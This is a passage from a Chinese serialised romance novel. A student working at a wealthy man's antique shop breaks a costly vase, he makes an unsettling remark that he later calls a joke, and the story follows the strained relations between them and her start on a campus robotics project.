冯盛径直走到男人对面,自个儿拉了把椅子坐了下来。 秦拂清就是这点好,尽管在外架子大,脾气冲,但对待熟人还是很温和的。尤其面对长辈,应有的尊重照顾都会给到。 因此只要他没犯错误,就不会怵他。 冯盛细心观察两眼男人的脸色,才开口讲道:“我最近在新研究一种泡茶方法,口感更鲜,不知先生有没有兴趣试试?” 秦拂清指骨揉着太阳穴,疲态渐显,语气里透些沉凉:“茶的事先甭说了,这是在外面偷听了多久?” 没想到一上来底子就被揭穿,冯盛干笑几声,“这屋子隔音这么好,我能听到个啥。” 秦拂清今儿个觉得心累,确实没那么多耐心,直言道:“您想说什么就说吧,别搁这儿打哑迷了。” 冯盛点头,“那我就直说了啊,缊酌这孩子虽然年纪小,但人确实挺不错的,认真又有耐心,客人都夸她呢。如若她哪天无意得罪了您,还请多多担待。” 冯盛不敢把话说满,万一根本没发生什么,倒显得他挺矫情。 “绕半天,您这是给她说情来了?”眼见秦拂清那眉头蹙得愈来愈深,嗓音也沉了下来,“我最近可没少听着这种言论。” 他干脆闭上眼,“行,你们都护着她,合着就我一坏人。” 冯盛觉得自己真是老眼昏花了,他瞧秦先生这副尊荣不像生气,更像是受了委屈似的。 可谁能让他受委屈还憋着开不了口的? 冯盛实在猜不透这里面的是是非非,只能试探着提议:“先生心情不好的话,可以去庄园坐坐,八月份的荷花开得正艳呢。” 秦拂清没应声,安静了好一会儿。 冯盛以为他没兴趣,刚要再说些别的,却见秦拂清直接起了身。 “走吧,去看看。”他说。 - 钟缊酌得知涂敬舟马上要去一家知名外企上班,挺惊讶地跟宋黎若讨论起这事儿。 因为家里人关系,她们还以为他会考公,或者至少去个国企。 “我爸希望我走仕途,但我不喜欢这条路,自己就去投简历了。”涂敬舟在饭桌上跟两人坦白。 “那伯父没意见吗?”宋黎若端起丸子汤喝了一大口。 “嗐,有意见又能怎样,他还能绑了我不成。” 涂敬舟说得轻轻松松,但钟缊酌知道这中间肯定挨了不少责骂。他父亲她也见过,从气场上就能感觉到不是好说话的那一类长辈。 “那伯母支持你吗?”她问。 “还成。”涂敬舟耸耸肩,“我妈挺开明的。” 宋黎若说:“幸好呀,不然你可得受苦呢。” 涂敬舟上班之后,有时回来碰上她们俩,就一起吃个饭或者四处逛逛,主要为了听他讲工作中遇到的各种奇葩事。 对于没经历过职场的两人,可太好奇这些故事了。 时间一天天过去,好像自从秦拂清搬到这大院以来,钟缊酌很少能遇见过他,除了那一次。 那天她正和涂敬舟在院儿里的一颗老杨树下逗猫,嘚瑟说自己最近养猫很有心得。 一辆黑车疾驰而过,停在了对面的报刊亭旁。 钟缊酌看着下来的人背影有些眼熟,很快认出那是秦拂清的秘书季昌。 季昌去买了一份报纸,他将报纸摊开后小心拿在手上,回头时正好对上了小姑娘的视线。 “季总,来买报纸呀。”出于礼貌,她主动打了声招呼。 季昌微笑着点头,“给秦总买的。” 其实不用他说,钟缊酌也能猜到,秦拂清应该就坐在车里。 可他人没有下来,甚至窗户都没打开,她也不好冒然前去打招呼。 钟缊酌透过玻璃窗向里看,不知道里面的人在想什么。 直到车子离开,涂敬舟过来跟她说话,钟缊酌才恍然回过神。 最近发生的一些事,让她内心隐隐升出来一个念头。 好像自从那次车祸之后,秦拂清对她的态度就不一样了。 钟缊酌不知道自己是否真的让他记恨上了,还特意找来宋黎若复盘了一番。 “你说这些大人物是不是都这么好面子,还是我真哪里做得不对?” “或许吧,我也不懂。我家人是在边缘部门工作,没那么多乱七八糟的事。” 宋黎若分析着,“不过我听说,他们内部勾心斗角现象确实蛮严重的,会不会因为你在秦拂清那儿打工,他把你当自己人,然后觉得你这样做背叛了他?” 钟缊酌听完只觉得头都大了。心想,和这些人相处可真耗费脑细胞。 不过她已经没时间琢磨这些事,马上就要开学。 除了要保证专业课成绩,钟缊酌希望能在这一年顺利考过雅思。 八月底的那一天是周六。 这天也是暑期最后一次来古玩馆,钟缊酌送走客人后,坐在桌旁专心看书。 小虎大概是刚刚在院子里跑得累了,这会儿就趴在她脚边伸了个懒腰,眼睛一眯打起盹儿来。 忽然之间,从外头传来一阵刷刷的声音,好似有什么东西在窗沿上走过。 钟缊酌下意识抬头望去。 只见一只姜黄色的大猫正贴在窗户边,用那只尖尖的爪子挠着玻璃,表情狰狞,似乎很想找个缝隙钻进来。 钟缊酌不知道这只猫从哪里来的,也许是只野猫,她拿笔敲了敲窗户,试图将它轰走。 然而这一举动并没有吓住它,反而激起了它的斗志。大黄猫开始“喵喵”地怪叫起来,声音极其尖锐。 钟缊酌站起身,想找个棍子过来,不料,脚边的小虎受惊似地突然睁开了眼睛。 她来不及反应,小虎已经蹿到了桌子上,直奔向旁边的展示柜。 “小虎!别!” 钟缊酌冲过去,就在指尖即将碰到毛发的一瞬间,那道银色条纹“嗖”一下消失在了眼前。 原来它只是想要借助柜子的边框蹬往更高处。 只见小虎纵身一跃跳上了展示柜顶部,站在上面和窗外的大黄猫“喵喵”地对峙起来。那样子似乎在说虽然我个头小,但我站得高,就不怕你。 而另一边的钟缊酌已经没心思为它鼓掌叫好了,她惊呼一声,手上的力度扑了个空,直接将一盏青花瓷打翻在地。 “哗啦”地碎裂声响彻了整个屋子。 钟缊酌心脏扑通扑通地跳,脸色煞白,在原地呆愣了许久。 她想,这下真的完了,闯大祸了。 如果没记错的话,这是清朝的瓷器。 钟缊酌手指开始止不住地颤抖,她在脑中回忆着这件瓷器的价格,应该是五百万左右。 也就是说如果按照她现在兼职的工资算,至少要五十年才能还上。 钟缊酌不知道那只猫什么时候走掉的,恍惚间看到小虎轻轻跳到地上,拿头蹭了蹭她的裤腿,仿佛在骄傲地讨赏。 钟缊酌欲哭无泪,摸着它的头说:“我可没东西赏给你,我马上要倾家荡产了。” 想到现在家里的情况,这件事无疑是给父母的处境雪上加霜。 她的心脏像被锥子戳似地一阵阵疼,可再怎么难受,该面对的还是要面对。 冷静一会儿后,钟缊酌去找了一个袋子过来。 她将地上的瓷片一个个捡起来装好,然后给冯伯打了个电话。 钟缊酌暂时不打算把这件事告诉父母,自己能解决最好。或许她毕业以后可以找到一份不错的工作,很快就能还上了。 她甚至开始幻想,秦拂清会不会念在两人同是京大校友的份儿上,能对她网开一面。 - 下午的时候,秦拂清和冯伯是一起过来的。 没等钟缊酌看清秦拂清脸上的表情,他便挟着一缕凉风直接拐进了会客室。 冯伯则先找她来谈话,看他那忧心仲仲的样子,这次祸确实闯得不小。 “记得多说些好话,秦先生不是得理不饶人的人,你态度端正了,他会酌情处理的。” 他给钟缊酌叮嘱了好半天,最后实在不知说什么才肯放她进去。 钟缊酌坐在一张宽大的圈椅上,两腿并拢,手放在膝盖处,安安静静等待对面的男人发话。 说起来也是心酸,这是她第一次有资格在这间布置奢华的会客室里坐下来,可竟是为了接受惩罚。 红木桌子的另一端,秦拂清看上去倒没多恼火。他眼睫微垂着,还有心情逗着腿上的猫咪。 只是他这副漫不经心的模样让钟缊酌心里更加没底。 此刻仿佛坐在那里的不是一个人,而是一头野兽。在捕捉猎物之前,故意散发友好的气息来迷惑对方,一旦你放松警惕,会立马被撕得粉碎。 钟缊酌双肩不自觉绷直,主动开口承认错误:“对不起秦先生,这件瓷器我赔不起,但我可以打工偿还。” 不知是否因自己做错了事,亦或者被他骇人的气场震慑住,她竟下意识喊回了秦先生。 钟缊酌已经想好了,她打算以后免费给秦拂清来打工,就算毕业了去工作,每周六她还可以过来,一直到还清为止。 “你会的那点儿东西能值多少日薪,这辈子赎得回来吗?” 低沉醇厚的嗓音入耳,秦拂清语气平静,却让人莫名感受到了一股压迫感。 他轻轻抚着猫咪的后背,“你不是第一次犯错了,我记得我和你说过,成年人要为自己犯的错误负责。” 钟缊酌沉默下来。 秦先生不缺这一件瓷器,她是知道的。可倘若他非要计较起来,五百万的赔款,也不是个小数目。 钟缊酌手指蜷缩起来,紧紧抓着衣服的布料,声音里透着些无力:“我知道,我毕业工作之后会尽快攒钱,请您给我一点时间。” 说不清是什么感觉,秦拂清的态度让她看不透。 他好像对这件事没那么在意,冯伯说他看也没看就吩咐将那些碎片丢掉,甚至没想做修复。但此刻面对着她,仍然散发着一股难以言喻的威慑感。 估摸是逗得累了,秦拂清随手将桌上的一颗玉石扔进了猫笼。 小虎抖了抖身上的毛,很有默契地从他腿上跳开,钻进了笼子里。 他掀起眼皮,身子往后一靠,漆黑锋锐的眼睛望了过来:“不过我倒是可以给你个建议。” 如抓住救命稻草般地,钟缊酌立即昂起头,语气恭恭敬敬:“您请说。” 伴随着猫咪手掌摩擦玉石的沙沙声,空气有片刻的沉寂。 时间在一秒一秒地流逝,秦拂清的目光缓缓落在了她身上。 像那燃烧不灭的余烬,炙热,焦灼。 他说:“把你赔给我,怎么样。”【..top】 13-20 第13章 “把你赔给我, 怎么样。” 这句话说完,像是有一双无形的手将钟缊酌的喉咙扼住,让她无法呼吸,耳畔嗡鸣, 憋闷得喘不过气来。 她完全没预料到他会说出这样的话。 钟缊酌甚至怀疑自己是否听错了。 她的目光紧紧盯住男人的脸庞, 试图从他的神情中寻找出一丝破绽, 秦拂清不应该是这样的人。 起码她认识的秦拂清,不会做这样的荒唐事。 钟缊酌始终没有直面回答他的问题,而秦拂清也没有再追问。 两人在这场无声的对峙当中,谁都不肯先松口。 秦拂清的眼神是大胆的,炙热的, 带有侵略性的,是她从没见过的样子。 钟缊酌觉得自己快要坚持不住了, 她很想逃离这里,什么都不要管, 直接夺门而出,留下再多的难堪, 也好过这样与他对视。 钟缊酌自己都没有意识到, 她红润的嘴唇在细微地颤动着,眼角已经有了湿意, 仿佛一朵娇艳的, 正欲绽放, 却被那忽降而至的雨水打湿的荷花。 终是秦拂清先让了步。 他收起那副像要吞人入腹的表情, 蜷曲着手指轻轻敲了敲椅子扶手, 好似什么都没有发生:“开个玩笑。” 他紧接着说:“这件事说起来也不全是你的错,小虎多少要背点儿责任,以后记得不要放它去展览室了。” 钟缊酌僵硬地点了点头, “好。” 瞧她这一副丢了魂儿的样子,秦拂清也不好再吓唬人。 他欠了欠身子,直接点题道:“古董的钱不用你赔,但是记住,你今天欠了我一次恩情。” 说不清是什么感觉。 好像身上压着的那块石头猛然间碎裂了,身子是轻了,可飘散出来的粉末仍遮挡着视线,直往毛孔里钻,堵得让人透不过气来。 秦拂清心不在焉地勾了勾手指,让小虎出来,可小家伙没看到似地还在跟那块玉石较劲。 秦拂清干脆提起笼子教育起它,“这次饶了你,以后不能再这么调皮了,知道吗?” 最后钟缊酌也不记得自己是怎么走出这间屋子的。 像是做了一场荒诞的梦,从梦里醒来后,手里还拿着秦拂清递给她的猫笼。 小虎完全不知道发生了什么,小爪子灵活地扒拉着石头,一会儿脑袋对准它,一会儿又用屁股面冲它,独自玩起了捉迷藏。 钟缊酌苦笑一声,不知如何是好,批评它的话也全部咽进了肚子里。 “真羡慕你啊,天塌下来还能这么无忧无虑地玩耍。” “天不会塌的。” 冯伯迎了上来,打量一番后,温和地问,“怎么样,先生没为难你吧?” 钟缊酌摇头:“没” 话未落下,又开始点头。 “你这又是摇头又是点头的,老人家我看不懂啊。” 钟缊酌走到院里将猫笼放下,拽了拽褶皱的衣角,转身对冯伯说:“您也别问了,总之秦先生不需要我赔钱,但过程我也不想再说。” 声音里是罕见的晦涩,像是刚刚哭完。 冯盛那时候脑中忽然闪过一个念头。 这个念头让他心里惊骇不已,但看着女孩纯稚的脸庞,又觉得秦先生不至于如此荒唐。 一定是自己想多了- 开学季的校园,迎来了一阵短暂的喧闹。 同学们乐此不疲地分享着暑期趣事儿,舍友白琪和楚希雅这两位平时总见不着踪影的大忙人,这一天也聚齐到了宿舍里。 楚希雅说:“我在假期尾巴去了趟九寨沟,跟你们说简直太美了,有生之年一定要去一次。” “我看到你发的朋友圈了。”一听到旅游美景,宋黎若两眼放光,“明年就安排上。” 钟缊酌对这个话题兴趣不大,在一旁收拾衣服,直到她听到白琪问了句:“你们两个有兴趣报名智能机器人研究大赛吗?” “咦?”宋黎若纳闷道,“这个项目不是智科专业的在做?” “团队当然也需要会数据算法的呀,这个咱们可是强项。”楚希雅主动解释,看上去挺有兴趣,“我也报名了,要不要一起?” 宋黎若瞧着她,更疑惑了,“我记得你是最讨厌这种学术型项目的,怎么如今转性了?” 不怪宋黎若怀疑,楚希雅往常都是往文艺演出辩论赛那些活动钻。 她擅长演讲,能做主持,却从不爱研究学术。朋友都说她能考上这学校,那祖宗是把天赋给她点满了。 “别胡说!我那是——”楚希雅刚要理论一番,眼珠子一转,又改了口,“嘿嘿,实话说了吧,我主要是想看帅哥。” 白琪跟着笑起来,“就是那个跟咱学校合作的资助方代表,秦拂清。” 一听到这个名字,钟缊酌拿衣服的手莫名抖了一下。 “噢,他啊。”宋黎若挠挠脑袋,做思考状,“确实挺帅,但我已经看过了,不新鲜了,这个理由不足以支撑我加入。” 她一说完,楚希雅立即问在哪里看到的,什么时候,宋黎若跟她解释他现在跟她们住一个大院,还一起去海边度假来着。 “真羡慕啊。”楚希雅感叹起来,“不过,最羡慕的应该是何诗绾吧,我们只是纯欣赏美色,她是真想追人家啊。” 何诗绾是信息系的系花,明艳丰腴,人不仅长得漂亮,还很傲娇。 这可是个爆炸新闻,宋黎若立马来了兴趣,拉着楚希雅开始八卦。 两人聊了半天,讲何诗绾多么勇敢,利用研讨会交流期间勾搭对方,还让秦拂清给她签名,说自己最佩服有能力又有公益心的大人物。 宋黎若笑得直不起腰:“秦拂清能理她吗?以为演偶像剧呢。” 忽然想起自己好朋友还没发表意见,宋黎若赶忙回身招呼一声:“缊酌,你要不要参加呀?” 钟缊酌低着头,一点儿不带犹豫地说:“不用了。” 这时候白琪似是想起什么,补充一句:“我记得你不是说过想去留学,参加这个项目对留学挺有帮助的。” “那不错诶,试试吧缊酌。” 钟缊酌默了许久,最后才轻声回:“那我考虑一下。” 劝完之后,宋黎若觉得奇怪,缊酌今天好像心情不怎么好,也不过来听她们聊天,只顾自己在那儿捣鼓。 等白琪和楚希雅出去吃饭了,宋黎若跑过来捏她的肩膀:“怎么啦?这么低落的样子。” 钟缊酌茫然抬头:“有吗?” “还没有呢,你差点儿把那仨字写脸上了,不开心。” “可能是开学焦虑症吧。”她随便扯了个理由。 这个理由甭管她自己信没,反正宋黎若是不信的。 以前从没见她有过什么开学焦虑,怎么这学期有什么不一样的? 宋黎若想活跃下气氛,又扯起刚才的八卦:“你说这位系花平时都是别人围着捧着,花孔雀似地骄傲得不得了,如今碰上秦拂清” 她话还没讲完,钟缊酌突然喊了声:“你能不能别提他了!” 缊酌很少这么大声讲话,这一下子把宋黎若都吓一跳。 “怎么了?”她有些发懵。 意识到自己失态,钟缊酌赶紧压下情绪,解释一句:“没什么,就是觉得在背后议论别人不太好。” “时间不早了,咱们也去吃饭吧,我请你吃最爱的牛肉石锅拌饭。” 见她这样,宋黎若虽说心中还有疑虑,也不好再多问什么。 两人简单收拾一下,拿着书包出了门。 其实不要说宋黎若,就连钟缊酌自己也不知道她到底怎么了。 按理说应该感激他的。 闯了这么大的祸,没追究她的责任,也没让她赔偿,只是许诺了一个看不见摸不着的恩。 不应该高兴吗? 她也试图摆出过庆幸的模样,可心里却还是跨不过那道坎儿。 脑中有个声音总是控制不住地往外蹦。 他能说出那些话,就意味着人家根本没有想尊重你的意思。 钟缊酌眨了眨发酸的眼睛。 那无非是一个二十岁的小姑娘,在蓬勃向上的年纪,心里那点可怜的微不足道的自尊心在作祟罢了- 报名的最后一天,白琪特意给钟缊酌发了消息:【我先帮你报上吧,他们还要根据成绩挑人呢,不一定能入选。】 对于她的热情,钟缊酌还挺惊讶的。 白琪是一个特别聪明的姑娘,虽然话不多,但总能一眼看透你内心的真实想法。 钟缊酌盯着屏幕看了一会儿,回她:【行,谢谢了。】 如果不是秦拂清的关系,她确实很想报名,没有强硬的背景,想去读名校必须抓住每一次机会。 没多久名单便已下来,钟缊酌凭借不错的专业成绩入了选,白琪也在,只有楚希雅意外地没被选上。 她倒没多大遗憾,只是可惜欣赏不到美色了。 “你是因为怕时间不够,才犹豫着没报名吗?听说你一直在做兼职。”白琪好奇问起来。 钟缊酌不知该怎么解释,只能含糊着说:“也不是,就是担心实力不够到时拖团队的后腿。” “不会的,要对自己有信心。” “嗯,我知道了。” 所有成员召集完之后,在项目正式启动之前,学院领导组织开了一场动员大会。 钟缊酌才知道,她们这几人是最后一批招募来的,别的专业学生已经集齐,就只差算法专业的学生。 这个项目集合了机械,自动化,电子信息,计算机,材料学等多个专业的学生及老师,连带各系的院长也参加了大会,可见学校的重视程度。 钟缊酌和白琪来得比较早,会议室里只坐了几个学生。 两人有一搭没一搭地聊着,不一会儿,门口又进来个人,男生们都不约而同地望了过去。 钟缊酌回头一看,立即认出这人是系花何诗绾。 她的样貌的确够惹人注目,一双漂亮的桃花眼,妩媚又不失清纯,身材高挑,是直男最喜欢的那一类。 何诗绾似乎已经习惯了这样的注视,大大方方地坐在了两人对面,翻出书低头看了起来。 约摸半个小时后,所有人都已到齐,秦拂清和信科学院院长张仲年是最后一起进来的。 秦拂清穿了件白衬衫,眉眼清俊,只是气场依旧强势,自带一股上位者的威严。 张院长引他落座后,底下立即响起了一片窃窃私语。 不知是因他作为资助单位代表的特殊身份,还是因长相过于出众。 “好了,大家安静。”院长做了一个简短的开头,便由各个老师讲述对接的任务。 计算机专业的学生主要负责前期的结构算法,软件支持等工作。 老师讲得很细致,钟缊酌记了满满的几页笔记,写得手腕都开始发酸。 会议整整持续了三个小时,到了最后,张院长请秦拂清来讲几句话。 “我作为非专业人士,设计方面懂得没有你们多。”他声音朗朗,面带着笑容,客套却不过于谦卑,“但在项目支持这一块儿,请大家放心,绝对不会出现资金短缺的情况” 说完之后,所有人自发鼓起了掌。 张院长看起来心情大好,鼓励让大家别有压力,放开手脚去做。 “你看何诗绾,一散场人就走了,丝毫没有找机会接近秦拂清的意思,说明什么?”白琪在钟缊酌身边咬起了耳朵。 “说明传言是假的?” “错,任何传言都不会空穴来风,所以只可能是一种情况。”白琪一字一顿道,“她大概率是被好朋友背叛了。” 钟缊酌皱起眉,一副你在说什么完全没懂的样子。 “你想想,何诗绾的性子一看就不会是在众人面前勾搭别人的那种,所以她那些绯闻怎么传出来的?肯定是好朋友在背后给她使坏了呗。” 钟缊酌想了想说:“分析得有道理。” 她拍了拍白琪的肩膀,“但我们不是来做侦探断案的啦,快点收拾书包走人。” 两人迅速整理好书本,并排走出会议室,却意外在楼道里撞见了一位熟人。 是秦拂清的秘书季昌。 “季总。”钟缊酌顺口打了声招呼。 “嗯,秦总还没出来吧?” “应该还没,他好像在跟几位老师聊天。” 季昌点头,“行,那我在这等会儿。” 刚刚走出来的张仲年见了这一幕,挺惊讶地问了句:“这位同学,你和季总认识?” 没预料到会被院长瞧见,钟缊酌尴尬地应了声:“是的。” “没想到啊,咱们这里还有资助方的熟人。” 张院长显然是半开玩笑地调侃了句,季昌却认真解释起来:“我和钟小姐只见过几次,说起来,应该还是和秦总比较熟。” 这一下张院长更惊讶了。 正兴致勃勃地想再要问几句,结果却听到对面小姑娘声音平静地开口:“我和秦总也不熟。” 作者有话说:评论区掉落红包~ 第14章 这一声之后, 不仅是张院长,就连季昌也惊了一瞬。 这姑娘明明在秦总古玩馆兼职了四个月,暑期两人还去过秦皇岛度假,都这样了还不算熟吗? 在他印象里, 秦拂清一直对这姑娘挺好的, 有几次出手相助, 他甚至还背后琢磨过俩人之间是不是有点什么关系。 结果今天人家直接来一句不算熟,这叫什么事儿啊。 季昌扶了扶额,也不知究竟是他看走了眼还是秦总看走了眼。 张院长看起来也是一头雾水,打量一圈后,心里想着, 什么算熟什么算不熟,现在年轻人之间的交际他可猜不透, 还是别掺和了吧。 他转身朝着季昌笑了笑:“季总要不要去隔壁休息室待会儿,我叫人给您倒杯水。” “不用不用, 您别太客气,我也就是一打杂的。” 两人互相客套了一番, 就此将话题扯开。 见没她们什么事了, 钟缊酌和白琪冲院长礼貌告了别,很快和那人群一起没入走廊尽头。 不知何时, 窗外飘来一大片的乌云, 黑压压数层, 将原本湛蓝的天空牢牢盖住。 仿佛陡然升起一块幕布笼罩在了城市上空, 连同这栋楼也跟着没入了灰暗里。 没一会儿之后, 秦拂清从会议室走了出来。 他拍了拍袖口上蹭到的粉笔末,漆黑深谙的目光移过熟人的脸庞,左右望了望。 “秦总, 您在找什么?”季昌纳闷道。 秦拂清视线扫过几个满脸放光,正叽叽喳喳议论着什么的女孩子,再瞥进走廊尽头,才徐徐开口:“没什么。” “秦总,政策解读会还有半小时开始,我们要迟到了。”季昌忍不住催促。 秦拂清声音淡淡,“我知道,去开车吧。” 从学校到集团的距离不算多远,开快的话二十分钟就能到。 季昌对自己的车技向来很有信心,他已经算好了,这个时间不堵车,掐着点二十分钟到集团门口,然后拿资料,上楼,时间刚刚好。 然而人算不如天算。 车子刚驶进主路,前面的车就开始降速,蜗牛似地一下下往前蹭。 季昌打开导航一看,原来这条路临时发生车祸,地图上已经红了一片。 他唉声叹气地,惹得秦拂清开口劝:“老季,不用急,顺其自然。” “您在集团开会从没迟到过,这不是怕有人说闲话。” “爱说闲话的让他们说去,真有本事对付我也不至于用这种方式。” 季昌不敢吱声了,秦拂清的脾气他是了解的,光明正大的来竞争没问题,若是背后嚼舌头,使绊子,他能让你死都不知道怎么死的。 这一路长途慢慢,车内寂然无声,后排的男人在闭目养神。 季昌忽然想起刚刚在学校走廊里发生的那件事。 他犹豫着要不要告诉秦总一声儿。 季昌只是不年轻了,不代表脑子也坏掉了,对于小姑娘说的那句话,听起来多少有些不对味儿。 但他不敢讲得太直白,只能试探着带起这个话茬:“秦总,没想到钟小姐也参加了这个项目,刚才我在楼道里还遇见她了。” 秦拂清眼皮动了动,但未睁开眼,挺平静地回复:“她是计算机专业,来参加很正常。” “嗯。” 这段话似乎到此已结束,季昌也不知道该怎么继续往下讲。 秦总看上去对这姑娘似乎兴趣不大? 嚯,他真是白瞎操这份心了。 季昌正心安理得准备专注开车时,又听到身后传来一声:“你们聊什么了?” 他吓一跳,差点儿把油门当刹车踩。 “也没聊什么——”季昌看了看后视镜,脑子里被迫开始重新组织语言,“就是张院长挺惊讶的,对,当时他也在,看到我们打招呼,问钟小姐是不是跟您很熟——” 这次秦拂清很快接下一句,“她怎么回的?” 季昌深吸一口气,缓缓道出:“钟小姐说她跟您并不熟。” 车里明明开着外循环通风系统,可不知为何,季昌突然觉得空气似乎变得稀薄起来,连呼吸的声音都听不到。 这种诡异的安静让他不自觉吞了下口水。 “秦总,您和钟小姐之间是不是发生了什么误会。” 季昌这一刻是相当纠结。 他不知到底该不该问这话,不问,车内窒息的氛围始终过不去,问了吧,又怕说错话挨骂。 秦拂清短暂沉默几秒,抬起手腕看了眼时间,开口道:“这会儿不堵车了,还有十分钟,速度提到最大!” “是!” 季昌立即照办,伴随着一阵轰鸣,心脏也提到了嗓子眼儿。 此刻他也顾不上好奇这俩人到底怎么回事了。 秦总只要答非所问时,那必定是有人要遭殃的- 周五这一整天天气都阴得厉害。 上完课之后,钟缊酌不敢磨蹭,赶紧奔去地铁口,还好进了大院这雨也没见下起来。 刚拐进楼栋,忽然看到单元门外站了一个熟悉的身影。 钟缊酌定睛一看,那人竟然是吴少维。 吴少维显然也看见了她,老远就冲她挥手,钟缊酌小跑着过去,一双眼睛亮莹莹地:“少维,你找我吗?” 吴少维穿了件深蓝色外套,头发梳得整整齐齐,一段时间不见,人显得更精神了。 他神采奕奕地将手中的袋子递过去,“嗯,这个给你。” “这是什么呀?” 吴少维掀开袋子让她看,“前几天去了趟法国,带回一些糕点分给院儿里的姑娘们,你拿着吧。” 既然是特意分给大家的,钟缊酌也不好推辞,双手接过来说:“谢谢啦,还要麻烦你送来一趟。” “小事情。” 都站在楼下了,钟缊酌想着好歹客套一下,便往楼道里指,“要不要进去坐坐?” 没想到对方挺痛快地答应下来,点着头说:“也行。” 钟缊酌愣了愣,眼看吴少维已经进了电梯,她赶紧跟上去,“等等我。” 周五放学早,还没到吃饭时间,陶美珍正在自己屋子里织毛衣。 听到门口的动静,知道是缊酌该回来了,没太在意,等见到客厅里多了一个陌生人,才立即出了屋,“呀,今天还有客人。” 钟缊酌开始介绍起来:“陶姨,这是我朋友,吴少维,也是住在院儿里的。” “陶姨是我家的阿姨,对我特别好,我父母不在的时候都是她照顾我。” 吴少维弯起眼,很有礼貌地打了声招呼:“陶姨好。” “你好你好,小伙子真俊。”陶美珍乐呵呵地让两人坐在沙发上,“你们聊着,我去切点水果。” 其实钟缊酌也不知道能聊什么,有些局促地左右看看,“对了,你想喝什么?有可乐,橙汁,苏打水。” 吴少维一直笑着,让人看不透在想什么,他咳嗽一声后,回她,“苏打水吧。” 钟缊酌从冰箱拿出一瓶苏打水,然后坐在他旁边,开始绞尽脑汁想话题:“法国好不好玩呀,我小时候只跟父母去过韩国,还没去过欧洲呢。” “法国没什么可玩的,你想逛欧洲的话,建议去北欧,景色很美。” “嗯,希望以后能有这个机会。” 吴少维仰头灌了一口碳酸饮料,抿抿嘴好奇问道:“你是觉得不自在吗?” “啊,没有没有。”钟缊酌嘴上说着没有,脸还是肉眼可见地红了。 她头一次懊恼自己社交能力怎么这么差。 吴少维咯咯地笑起来:“今天来你家做客确实挺唐突的,怪我。” 陶美珍端着一盘子水果出来了,屋子里那焦灼的氛围终于缓和了些。 吴少维吃了几口,又随意聊些家常,没多久便站起来说:“我先撤了,上完一周的课,你也好好休息吧。” “行,那我送你。” 到门口时他似是又想起什么,回身补了句:“陶姨,这次来没给您带礼物,挺过意不去的。我从法国给我妈买了几套护肤品,明天也给您拿一套过来吧。” 陶美珍立即摆摆手:“哎呦,这么贵的东西我可用不上,快别麻烦了。” 吴少维笑说:“不麻烦,您别怪我总来打扰就好。” 这张嘴把陶美珍哄得晕头转向地,也不好意思再拒绝,最后两人在门口道半天别,才把人送走。 “缊酌,这小伙子不错啊,长得俊,情商高,又懂礼貌,你看——” 钟缊酌知道陶姨要说什么,马上捂起耳朵:“您快别说了,都几点啦,赶紧做饭吧!” “这刚五点,不急,咱娘俩再聊聊” “可是我很饿啊,很饿很饿,陶姨,您也不忍心看我饿晕在家里吧。” 陶美珍无奈:“行了行了,这就去了。” 钟缊酌松口气,跑到卧室阳台往外看。 吴少维已经走远,这天阴得更厉害了,可就是不见落雨的迹象,也真是怪。 翌日周六,钟缊酌忘记定闹钟,险些迟到。 等她呼哧带喘地跑进胡同,头顶“轰”得一声炸开个响雷,不一会儿,豆大的雨点便顺着那青砖灰墙淌了下来。 仿佛因憋得太久,这雨来得又急又冲,瀑布似地往地上泼。 钟缊酌后知后觉意识到,今天出来得太急,竟然忘记带伞。 好在她人已经到了古玩馆,这雨总不能下一天吧,她心里想着。 钟缊酌想起小虎还在会议室隔壁那间透风的屋里睡觉,就把它抱进了另一间休息室。 这是冯伯平时休息的地方,应该没问题的。 她陪它待了一会儿,又去准备茶水。 今天有两位老板预约,但下了这么大的雨,也不知道还来不来。 果然临近中午时,还不见人的踪影,冯伯打来电话说,今天的预约取消了。 伴随着滴滴嗒嗒地雨声,钟缊酌惬意地伸了个懒腰,又是可以独自看书的一天。 这份美好的心情持续到了下午五点多,眼看外面的雨丝毫没有停住的迹象。 钟缊酌忧心仲仲地戳起笔头,看来只能打车回去了,可外面的车进不来这条胡同,她还要淋着雨走一段。 最后她决定牺牲自己的书包。 钟缊酌将那几本雅思专项练习往里面一塞,顶着包出了门。 胡同两排都是古色古香的建筑,飞檐翘角,横出的屋顶正好可以挡住一部分雨。 她小心走在檐下,地上溅起的水花打湿了鞋,钟缊酌顾不得那么多,正准备全力冲刺,忽然从对面驶过一辆车来。 能开进这条胡同的,大抵不是什么普通人,钟缊酌没细瞧,也一眼认出了那是谁的车。 不知这个时间他来做什么。 但钟缊酌已经下班,也就不关她的事了。 她紧贴着墙壁,侧身避让,可车子在经过身边时,忽然“吱”地一声停了下来。 后座的车窗缓缓落下,露出秦拂清那张俊朗无俦的脸。 他胳膊撑在窗沿上,侧身望过来,淡声说一句:“上车,送你一程。” 钟缊酌反应过来时,季昌已经撑着一把黑伞下了车,面带着笑容将伞举过她的头顶,“钟小姐,请吧。” 那一刻,钟缊酌是有过动摇的。 她差点儿打算就此不争气地坐上去算了,把什么自尊心,骨气都抛在脑后,舒舒服服地坐着豪车到家。 这样的大人物,哪会跟一个学生较劲呢。 可她骨子里多少还余留着那么一点儿知世俗而不世俗的倔强劲儿。 钟缊酌扬起头,态度恭敬地回:“季总,请您转告秦先生,不必麻烦,谢谢。” 说完,在季昌错愕的表情中,转身又跑进那屋檐下,未露出半点儿犹豫。 “秦总,您看——” 秦拂清也不知自己是怎么了。 胸腔里像憋了一团怎么也浇不灭的烈火,随着那抹逐渐遥远的背影,山崩地裂地奔涌出来。 他不顾身份地一把推开门,迎着那雨幕大步向前,吓得季昌手一哆嗦,慌张追上去:“秦总!” 钟缊酌听到喊声后,也停了下来。 回过头,一眼望见秦拂清正在距离她不远的位置,慢慢踱步向前。 他的上半身已经湿透,雨水顺着脸颊蜿蜒而下,流过眉毛,鼻翼,嘴唇,最后汇集在下巴,成串滴落在衣领处。 钟缊酌睁大眼睛,慢慢放下书包,手足无措地愣在了原地。 季昌那把伞终于歪歪斜斜地打在了秦拂清的头顶上,随着他一步步逼近,钟缊酌觉得周围仿佛被隔了一层看不见的墙,雨声越来越小,整个世界忽然静止了下来。 钟缊酌惶然不安地退到墙根下,背后那一片青色映进了余光里,没有路了。 看他那副气势汹汹的样子,钟缊酌的脑子里竟然冒出一个非常荒诞且离谱的想法:他不会是要揍她来的吧? 良久,秦拂清终于站定在她面前,面色依然是那么的平静。 他只咬着字,不着痕迹地重复了那句话:“我说上车。” 作者有话说:小钟同学的脑洞非常大 评论区掉落红包~ 第15章 车内开了很低的暖风, 将凉意驱散,理智也总算回归了那么一点儿。 